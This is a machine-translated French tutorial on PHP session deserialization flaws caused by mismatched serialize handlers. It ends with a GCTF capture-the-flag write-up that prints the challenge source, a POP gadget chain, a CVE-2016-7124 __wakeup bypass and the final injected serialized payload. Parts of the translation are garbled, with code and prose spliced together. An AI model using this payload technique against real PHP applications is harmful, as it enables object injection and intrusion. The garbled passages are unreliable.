Maison > Article > développement back-end > Une brève discussion sur la vulnérabilité de désérialisation de session en PHP
Cet article présente principalement la vulnérabilité de désérialisation session de PHP. Les amis dans le besoin peuvent se référer à
Il y a trois éléments de configuration dans php.ini :
session.save_path="" --设置session的存储路径 session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式) session.auto_start boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动 session.serialize_handler string --定义用来序列化/反序列化的处理器名字。默认使用php
Les options ci-dessus sont liées au stockage de session et au stockage de séquence en PHP.
Dans l'installation à l'aide du composant xampp, les paramètres des éléments de configuration ci-dessus sont les suivants :
session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下 session.save_handler=files 表明session是以文件的方式来进行存储的 session.auto_start=0 表明默认不启动session session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
Dans la configuration ci-dessus, session.serialize_handler est utilisé Pour définir le moteur de séquence de session, en plus du moteur PHP par défaut, il existe d'autres moteurs. Les méthodes de stockage des sessions correspondant aux différents moteurs sont différentes.
php_binary : La méthode de stockage est, le caractère ASCII correspondant à la longueur du nom de la clé + le nom de la clé + la valeur sérialisée par la fonction serialize()
php : Le stockage La méthode est, nom de la clé + barre verticale + valeur sérialisée par la fonction Serialize()
php_serialize (php>5.5.4) : La méthode de stockage est, valeur sérialisée par la fonction Serialize()
Le moteur PHP est utilisé par défaut en PHP. Si vous souhaitez le changer pour un autre moteur, il vous suffit d'ajouter le code ini_set('session.serialize_handler', 'Le moteur qui doit être réglé');. L'exemple de code est le suivant :
Le répertoire de la session se trouve dans /var/lib/php/sessions
<?php ini_set('session.serialize_handler', 'php_serialize'); session_start(); $_SESSION['name'] = 'spoock'; var_dump($_SESSION);
Sous le moteur php_serialize, le Le fichier de session est stocké Les données sont :
a:1:{s:4:"name";s:6:"spoock";}
php Le contenu du fichier sous le moteur est :
name|s:6:"spoock";
php_binary sous le moteur Le contenu du fichier est :
names:6:"spoock";
Puisque la longueur de name est de 4, 4 correspond à EOT dans la table ASCII. Selon les règles de stockage de php_binary, le dernier est noms:6:"spoock";. (Soudain, j'ai découvert que les caractères avec une valeur ASCII de 4 ne peuvent pas être affichés sur la page Web. Veuillez vérifier vous-même le tableau ASCII)
Risques de sérialisation dans la session PHP
Il n'y a aucun problème avec l'implémentation de Session en PHP. Le préjudice est principalement causé par une mauvaise utilisation de Session par les programmeurs.
Si le moteur utilisé par PHP pour désérialiser les données $_SESSION stockées est différent du moteur utilisé pour la sérialisation, les données ne seront pas désérialisées correctement. Grâce à des paquets de données soigneusement construits, il est possible de contourner la vérification du programme ou d'exécuter certaines méthodes système. Par exemple :
$_SESSION['ryat'] = '|O:1:"A":1:{s:1:"a";s:2:"xx";}';
fichier php tel que :
Après l'accès, le contenu de le fichier de session est obtenu comme suit :
root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}Mais à ce moment, lorsque la simulation utilise différents moteurs php pour lire sur d'autres pages, le contenu est le suivant : (Par défaut, le moteur php est utilisé pour lire le fichier de session)
a; } } // var_dump($_SESSION);Visitez cette page et sortez xx
xxarray(1) { ["a:1:{s:4:"ryat";s:30:""]=> object(A)#1 (1) { ["a"]=> string(2) "xx" } }En effet, lors de l'utilisation de php Lors de l'exécution du moteur, le moteur php utilisera | comme séparateur entre la clé et la valeur, puis a:1:{s:4:"ryat";s :30:" sera utilisé comme clé SESSION, et O:1 : "A":1:{s:1:"a";s:2:"xx";} est utilisé comme valeur, puis désérialisé, et enfin la classe A sera obtenue. Les différents moteurs utilisés pour la sérialisation et la désérialisation sont à l'origine de la vulnérabilité de sérialisation de session PHP. La vulnérabilité est déclenchée lorsque la session lit le contenu de la session et le désérialise lors du chargement d'une page à l'aide de PHP. moteur. Ceci n'est pas requis. Toute sortie
Analyse d'une vulnérabilité de désérialisation de session sur GCTF : Le contenu de index.php est :
En PHP, les opérations de sérialisation sont souvent utilisées pour accéder aux données, mais une mauvaise manipulation pendant le processus de sérialisation peut entraîner certains risques de sécurité
<?php //error_reporting(E_ERROR & ~E_NOTICE); ini_set('session.serialize_handler', 'php_serialize'); header("content-type;text/html;charset=utf-8"); session_start(); if(isset($_GET['src'])){ $_SESSION['src'] = $_GET['src']; highlight_file(FILE); print_r($_SESSION['src']); } ?> <!DOCTYPE HTML> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>代码审计2</title> </head> <body><.>
Le contenu de query.php est :<form action="./query.php" method="POST"> <input type="text" name="ticket" /> <input type="submit" /> </form> <a href="./?src=1">查看源码</a> </body> </html>
/************************/ /* //query.php 部分代码 session_start(); header('Look me: edit by vim ~0~') //...... class TOPA{ public $token; public $ticket; public $username; public $password; function login(){ //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉 $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){ return 'key is:{'.$this->token.'}'; } } } class TOPB{ public $obj; public $attr; function construct(){ $this->attr = null; $this->obj = null; } function toString(){ $this->obj = unserialize($this->attr); $this->obj->token = $FLAG; if($this->obj->token === $this->obj->ticket){ return (string)$this->obj; } } } class TOPC{ public $obj; public $attr; function wakeup(){ $this->attr = null; $this->obj = null; } function destruct(){ echo $this->attr; } } */Le L'idée est la suivante :Dans cette question, nous construisons un TOPC, et sera appelé lors de la destruction
echo $this->attr;
attribuez un attr au TOPB ; object , la méthode magique tostring
sera appelée automatiquement lors de l'écho TOPB, et sera appelée dans tostring Parce que le token et le ticket sont utilisés plus tard, ils sont évidemment requis pour TOPA. objet plus tard.
, donc utilisercomme référence de pointeur pendant la sérialisation peut contourner le jugement
Il y aura une fonction wakeup() dans launserialize($this->attr)
$this->obj->token === $this->obj->ticket
Quant à la raison pour laquelle$a->ticket = &$a->token;
génère le drapeau, la connexion écrite en arrière-plan peut êtrechaîne
La charge utile finale. est :(string)$this->obj
désérialisée pour effacer les paramètres à l'intérieur. Je me demande si elle peut être contournée via un CVE : CVE-2016-7124. . La fonction de réveil peut être contournée en modifiant le champ avec une valeur supérieure au champ réel. Le code final est :
|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!